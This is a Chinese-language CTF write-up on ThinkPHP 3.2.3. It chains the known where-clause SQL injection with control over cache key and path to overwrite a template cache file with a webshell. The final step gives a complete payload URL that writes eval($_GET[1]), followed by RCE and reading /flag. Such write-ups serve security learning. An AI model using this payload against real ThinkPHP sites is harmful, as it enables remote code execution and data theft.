在前面两期中,我分别分析跟进了整个thinkphp的框架和find函数,根据以上这些信息加上一些想法和实践,最后也是发现了解题点。
首先我们还是把find方法放出来
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
|
/**
* 查询数据
* @access public
* @param mixed $options 表达式参数
* @return mixed
*/
public function find($options = array())
{
if (is_numeric($options) || is_string($options)) {
$where[$this->getPk()] = $options;
$options = array();
$options['where'] = $where;
}
// 根据复合主键查找记录
$pk = $this->getPk();
if (is_array($options) && (count($options) > 0) && is_array($pk)) {
// 根据复合主键查询
$count = 0;
foreach (array_keys($options) as $key) {
if (is_int($key)) {
$count++;
}
}
if (count($pk) == $count) {
$i = 0;
foreach ($pk as $field) {
$where[$field] = $options[$i];
unset($options[$i++]);
}
$options['where'] = $where;
} else {
return false;
}
}
// 总是查找一条记录
$options['limit'] = 1;
// 分析表达式
$options = $this->_parseOptions($options);
// 判断查询缓存
if (isset($options['cache'])) {
$cache = $options['cache'];
$key = is_string($cache['key']) ? $cache['key'] : md5(serialize($options));
$data = S($key, '', $cache);
if (false !== $data) {
$this->data = $data;
return $data;
}
}
$resultSet = $this->db->select($options);
if (false === $resultSet) {
return false;
}
if (empty($resultSet)) {
// 查询结果为空
return null;
}
if (is_string($resultSet)) {
return $resultSet;
}
// 读取数据后的处理
$data = $this->_read_data($resultSet[0]);
$this->_after_find($data, $options);
if (!empty($this->options['result'])) {
return $this->returnResult($data, $this->options['result']);
}
$this->data = $data;
if (isset($cache)) {
S($key, $data, $cache);
}
return $this->data;
}
|
这里我们着重看
1
2
3
4
5
6
7
8
9
10
|
// 判断查询缓存
if(isset($options['cache'])){
$cache = $options['cache'];
$key = is_string($cache['key'])?$cache['key']:md5(serialize($options));
$data = S($key,'',$cache);
if(false !== $data){
$this->data = $data;
return $data;
}
}
|
和
1
2
3
4
5
6
7
8
9
10
|
// 读取数据后的处理
$data = $this->_read_data($resultSet[0]);
$this->_after_find($data,$options);
if(!empty($this->options['result'])) {
return $this->returnResult($data,$this->options['result']);
}
$this->data = $data;
if(isset($cache)){
S($key,$data,$cache);
}
|
两个部分,分别是从缓存取数据和存入数据的操作,因为tp3.2.3有个nday,也就是sql注入,它的where注入的原理就是污染了$options
数组,也就是我们在下面写入数据中可以控制$key
,$data
,$cache
的值,从而实现任意文件写入,但是这里有个问题,我们来到S方法
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
|
function S($name, $value = '', $options = null)
{
static $cache = '';
if (is_array($options)) {
$type = isset($options['type']) ? $options['type'] : '';
$cache = Think\Cache::getInstance($type, $options);
} elseif (is_array($name)) {
$type = isset($name['type']) ? $name['type'] : '';
$cache = Think\Cache::getInstance($type, $name);
return $cache;
} elseif (empty($cache)) {
$cache = Think\Cache::getInstance();
}
if ('' === $value) {
return $cache->get($name);
} elseif (is_null($value)) {
return $cache->rm($name);
} else {
if (is_array($options)) {
$expire = isset($options['expire']) ? $options['expire'] : null;
} else {
$expire = is_numeric($options) ? $options : null;
}
return $cache->set($name, $value, $expire);
}
}
|
这里我们会走到
1
2
|
if ('' === $value) {
return $cache->get($name);
|
这个地方
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
|
/**
* 读取缓存
* @access public
* @param string $name 缓存变量名
* @return mixed
*/
public function get($name)
{
$filename = $this->filename($name);
if (!is_file($filename)) {
return false;
}
N('cache_read', 1);
$content = file_get_contents($filename);
if (false !== $content) {
$expire = (int) substr($content, 8, 12);
if (0 != $expire && time() > filemtime($filename) + $expire) {
//缓存过期删除缓存文件
unlink($filename);
return false;
}
if (C('DATA_CACHE_CHECK')) {
//开启数据校验
$check = substr($content, 20, 32);
$content = substr($content, 52, -3);
if (md5($content) != $check) {
//校验错误
return false;
}
} else {
$content = substr($content, 20, -3);
}
if (C('DATA_CACHE_COMPRESS') && function_exists('gzcompress')) {
//启用数据压缩
$content = gzuncompress($content);
}
$content = unserialize($content);
return $content;
} else {
return false;
}
}
|
原本的想法是可以进行unserialize从而来触发反序列化,再利用tp原来存在的一些方法来进行读取flag,但是这个地方的content是不可控的,所以这个地方就卡住了,但是我在这里发现了调用了filename的方法。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
|
/**
* 取得变量的存储文件名
* @access private
* @param string $name 缓存变量名
* @return string
*/
private function filename($name)
{
$name = md5(C('DATA_CACHE_KEY') . $name);
if (C('DATA_CACHE_SUBDIR')) {
// 使用子目录
$dir = '';
for ($i = 0; $i < C('DATA_PATH_LEVEL'); $i++) {
$dir .= $name{$i} . '/';
}
if (!is_dir($this->options['temp'] . $dir)) {
mkdir($this->options['temp'] . $dir, 0755, true);
}
$filename = $dir . $this->options['prefix'] . $name . '.php';
} else {
$filename = $this->options['prefix'] . $name . '.php';
}
return $this->options['temp'] . $filename;
}
|
可以看见对文件进行了写入的操作,那么我们的值都可控,是不是就可以写入马子了?但是这道题专门将tp的目录隔离在了web路径访问不到的地方并且对文件名进行了加密,且web根目录无可写权限。所以这里又卡住了。
后面看见一个common~runtime.php
,这个文件里面记录了所有thinkphp在运行时调用的类和函数。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
|
namespace Behavior {
use Think\Storage;
use Think\Think;
class ParseTemplateBehavior
{
public function run(&$_data)
{
$engine = strtolower(C('TMPL_ENGINE_TYPE'));
$_content = empty($_data['content']) ? $_data['file'] : $_data['content'];
$_data['prefix'] = !empty($_data['prefix']) ? $_data['prefix'] : C('TMPL_CACHE_PREFIX');
if ('think' == $engine) {
if ((!empty($_data['content']) && $this->checkContentCache($_data['content'], $_data['prefix'])) || $this->checkCache($_data['file'], $_data['prefix'])) {
Storage::load(C('CACHE_PATH') . $_data['prefix'] . md5($_content) . C('TMPL_CACHFILE_SUFFIX'), $_data['var']);
} else {
$tpl = Think::instance('Think\\Template');
$tpl->fetch($_content, $_data['var'], $_data['prefix']);
}
} else {
if (strpos($engine, '\\')) {
$class = $engine;
} else {
$class = 'Think\\Template\\Driver\\' . ucwords($engine);
}
if (class_exists($class)) {
$tpl = new $class;
$tpl->fetch($_content, $_data['var']);
} else {
E(L('_NOT_SUPPORT_') . ': ' . $class);
}
}
}
protected function checkCache($tmplTemplateFile, $prefix = '')
{
if (!C('TMPL_CACHE_ON')) {
return false;
}
$tmplCacheFile = C('CACHE_PATH') . $prefix . md5($tmplTemplateFile) . C('TMPL_CACHFILE_SUFFIX');
if (!Storage::has($tmplCacheFile)) {
return false;
} elseif (filemtime($tmplTemplateFile) > Storage::get($tmplCacheFile, 'mtime')) {
return false;
} elseif (C('TMPL_CACHE_TIME') != 0 && time() > Storage::get($tmplCacheFile, 'mtime') + C('TMPL_CACHE_TIME')) {
return false;
}
if (C('LAYOUT_ON')) {
$layoutFile = THEME_PATH . C('LAYOUT_NAME') . C('TMPL_TEMPLATE_SUFFIX');
if (filemtime($layoutFile) > Storage::get($tmplCacheFile, 'mtime')) {
return false;
}
}
return true;
}
protected function checkContentCache($tmplContent, $prefix = '')
{
if (Storage::has(C('CACHE_PATH') . $prefix . md5($tmplContent) . C('TMPL_CACHFILE_SUFFIX'))) {
return true;
} else {
return false;
}
}
}
}
|
这个类的run方法,恰好也是使用了md5的content的值进行文件的命名,最后走到Storage::load其实也就是调用了文件包含的include方法。那么我们就有了思路,将cache的key的值构造成之前show函数中传入的base64_encode($content[‘content’])的值,同时将生成缓存文件路径即options[’temp’]的位置替换成C(‘CACHE_PATH’) . $_data[‘prefix’],就可以完美的进行cache的覆盖,从而让server加载我们写入的webshell缓存。
所以步骤如下:
获取cid为2的content的base64的值。(不要在意其他的,都是debug时候自己加的东西)
步骤二:
playload:http://192.168.43.146/N1start/tp/index.php//?s=home/index/page&cid[where]=1=0%20union%20select%20%27%0D%0Aeval($_GET[1]);//%27;&cid[cache][key]=VGhpcyBpcyB0aGUgY29udGVudCBvZiB0aGUgc2Vjb25kIGFydGljbGU=&cid[cache][temp]=../tp/Application/Runtime/Cache/Home/
最后直接rce
直接cat /flag即可